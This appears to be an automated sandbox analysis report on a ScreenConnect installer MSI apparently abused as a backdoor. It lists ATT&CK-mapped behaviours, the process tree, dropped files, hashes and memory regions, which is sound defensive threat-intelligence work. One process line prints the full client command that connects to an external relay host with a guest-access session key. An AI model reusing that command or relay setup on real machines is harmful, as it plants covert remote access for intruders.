Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    05/07/2026, 00:16

General

  • Target
    ScreenConnect.ClientSetup%20%2817%29%20%281%29.msi
  • Size 4.8MB
  • Sample260705-akxtbsft4y
  • SHA256 0fb32dc1d635993ca59dbb513610c7ea0386d8ee8ca3fc7659aa62bf306ce801
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 23 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 13 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup%20%2817%29%20%281%29.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:2604
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2140
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding C41A10557140783D587949FE2E1881AE C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4740
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI3D34.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240663984 3 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4360
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:4024
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 7E4DB28FAD6FB8D6DEE00F2A72ACE59C
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3296
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 5533E4CBA1D15027A6309ACD7BE1BF6E E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:3276
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:2492
    • C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relays.teamsupdatevipapi0274.us&p=8041&s=9763db1d-67a5-444c-9733-c5ff36f85ec8&k=BgIAAACkAABSU0ExAAgAAAEAAQAVabycuWi%2f7lyJLoh11Qj1Cq5CVJ%2bVuScNNNGuiC9UGJLvHaj0X%2b6gclkT%2fcjS02p8mijmYpYttTDewuFp%2bvY1Buxm26B7KFgfW2khyXv6ib3aqTBbjQC5muTSJ2207dOdkF6gNeZNeQ2ecDkaAYuboNEBvOlO0nfJZIael%2f135yu4oTzLUNG8d6vL2xJSiM1%2burlDwERDVfHlwfC%2f18MEDiDfUgwQUA0rOBUpi1a3jb5%2bAxEzx%2bpoGam8cKu8dxs8IKtZvHVTwp1OoFZTWPcq2kDBJY3c7UCIB%2bWnQXDPvu0%2f9Dxe8fjABQmgy%2ftZYM7EgQerUl8tlF21L0M0ufyq"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3988
      • C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.WindowsClient.exe" "RunRole" "a8c49af4-07ed-48a7-b5b2-64ba2d3ab9c2" "User"
        2⤵
        • Executes dropped EXE
        PID:1244
      • C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.WindowsClient.exe" "RunRole" "14c78a24-4319-4ce1-a1ee-bec232259286" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:2192

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e586f40.rbs

          • Path C:\Config.Msi\e586f40.rbs
          • Size 214KB
          • SHA256 76af0dcff94e7c51d5fe5d36bab3abebb2bb570890424ca13af2cc23ec034e12
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\Client.Override.en-US.resources
          • Size 316B
          • SHA256 cc0f52a92862da80c84c6c59ff7229ffd8db8a5ebf99e9d6ad25ff3b003c8cce
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\Client.Override.resources
          • Size 11KB
          • SHA256 766d0d7d3f9d4aa8b34f1cf09acd9bc2da35750ba5346c4de77e6ee001438607
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\Client.en-US.resources
          • Size 49KB
          • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\Client.resources
          • Size 33KB
          • SHA256 e0d0e5d951ef955f22d110b65b3fedfb8b1710491563d7c541f5e3d9fd4ccee8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.Client.dll
          • Size 202KB
          • SHA256 ea1ba32647cf18942e5d26e4d80ade8d25db7984555f55c378c9ad0d33c11271
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.ClientService.dll
          • Size 77KB
          • SHA256 84d0a414d03ab35f65cb149229ac2a64cde9b20f3cb2aba9099c71510a749fe4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 46457d98fb1c53bbccb66c1015eb831355f30c8bf8e6f25cf3183aac2a5fd8ab
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.Core.dll
          • Size 549KB
          • SHA256 6928d272bdcfb0a1739d4ffee9a1a6e230880a3ce954233a83fdc70024c1e7ad
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 fb81fc9354d12d15f125492c74f766bb538ddc1f9748735b0bdfbf6e945175c6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.WindowsClient.exe
          • Size 595KB
          • SHA256 3b150443fbb196446479367dc44888488045ae8eef9b872406656cf33ace2556
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 838KB
          • SHA256 c36e1b629985cf5379733de9c2d645446cb3333f8660bf137a46fb227ef170e4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\app.config
          • Size 2KB
          • SHA256 88731e50367d1fdf558a5d66a751fb263cdfdf5a44a66d6db8092f9a1819aea7
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\system.config
          • Size 963B
          • SHA256 6d44f1aa666abb186fdd9d4f17f58725c100b5c0ed85794ba1ec35531870e5d6
          • MD5 SHA1 SHA512 TLSH

          MSI1C1E.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI1C1E.tmp
          • Size 1.1MB
          • SHA256 a567086664f73664d2824f87bf0207bd018ccb4b4a5a9c2ff1ddadc50be1a696
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI3D34.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI3D34.tmp
          • Size 1.0MB
          • SHA256 9571cbea87aa83be41b2e63a5cd62498da91793c4fa1fc38baa07a73b1c2d02c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI3D34.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI3D34.tmp-\ScreenConnect.Core.dll
          • Size 539KB
          • SHA256 613af5bfae8fb43f24c223c3aef411f532eaaf223f9f09a1dad0a4f16fb3672b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI3D34.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 404b02b47b8f6fe72dd5957694810dddd3d760f530b90aade0eece30fe1950e4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI3D34.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 0b87dd18e02ce7c363ebe016d81ebfab230230f9821554015c0a3505bf021d6f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI81d28.LOG

          • Path C:\Users\Admin\AppData\Local\Temp\MSI81d28.LOG
          • Size 232B
          • SHA256 3d1ae9294e7b921cd05e08ea6fe27697de6d3c701ac4b8d43b36d9496d13ed42
          • MD5 SHA1 SHA512 TLSH

          MSI7069.tmp

          • Path C:\Windows\Installer\MSI7069.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e586f3f.msi

          • Path C:\Windows\Installer\e586f3f.msi
          • Size 4.8MB
          • SHA256 0fb32dc1d635993ca59dbb513610c7ea0386d8ee8ca3fc7659aa62bf306ce801
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.1MB
          • SHA256 eab570ca4790f06c9251740a1a0f5cd0b560fc182defa1d0a5eec99fef4bafa4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {e7ed56ae-25f4-4783-b5f2-cf3c2bc28aeb}_OnDiskSnapshotProp

          • Path \??\Volume{0dfc9b49-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{e7ed56ae-25f4-4783-b5f2-cf3c2bc28aeb}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 71fd433aaef798465a895e5855d97b290474981c8a08aab9d42e65e76185b633
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1244-126-0x00000000008C0000-0x0000000000958000-memory.dmp

          memory/1244-132-0x0000000002A40000-0x0000000002A58000-memory.dmp

          memory/1244-133-0x000000001B580000-0x000000001B5C1000-memory.dmp

          memory/1244-131-0x0000000001000000-0x0000000001018000-memory.dmp

          memory/1244-130-0x000000001BC40000-0x000000001BDC6000-memory.dmp

          memory/1244-129-0x000000001BA90000-0x000000001BC3C000-memory.dmp

          memory/1244-128-0x000000001B850000-0x000000001B8DE000-memory.dmp

          memory/1244-127-0x00000000029E0000-0x0000000002A16000-memory.dmp

          memory/2192-135-0x000000001B680000-0x000000001B6C1000-memory.dmp

          memory/3988-87-0x00000000046E0000-0x000000000476E000-memory.dmp

          memory/3988-81-0x0000000001A00000-0x0000000001A18000-memory.dmp

          memory/3988-98-0x0000000004880000-0x00000000048B6000-memory.dmp

          memory/3988-103-0x0000000004D50000-0x0000000004E25000-memory.dmp

          memory/3988-91-0x0000000004920000-0x0000000004ACC000-memory.dmp

          memory/3988-101-0x00000000047F0000-0x0000000004831000-memory.dmp

          memory/3988-94-0x0000000004830000-0x0000000004880000-memory.dmp

          memory/3988-99-0x0000000004B70000-0x0000000004C02000-memory.dmp

          memory/4360-22-0x0000000002B20000-0x0000000002B4E000-memory.dmp

          memory/4360-26-0x0000000002B60000-0x0000000002B6A000-memory.dmp

          memory/4360-30-0x0000000005040000-0x00000000050CE000-memory.dmp

          memory/4360-34-0x0000000005280000-0x000000000542C000-memory.dmp

          memory/4360-35-0x00000000059E0000-0x0000000005F84000-memory.dmp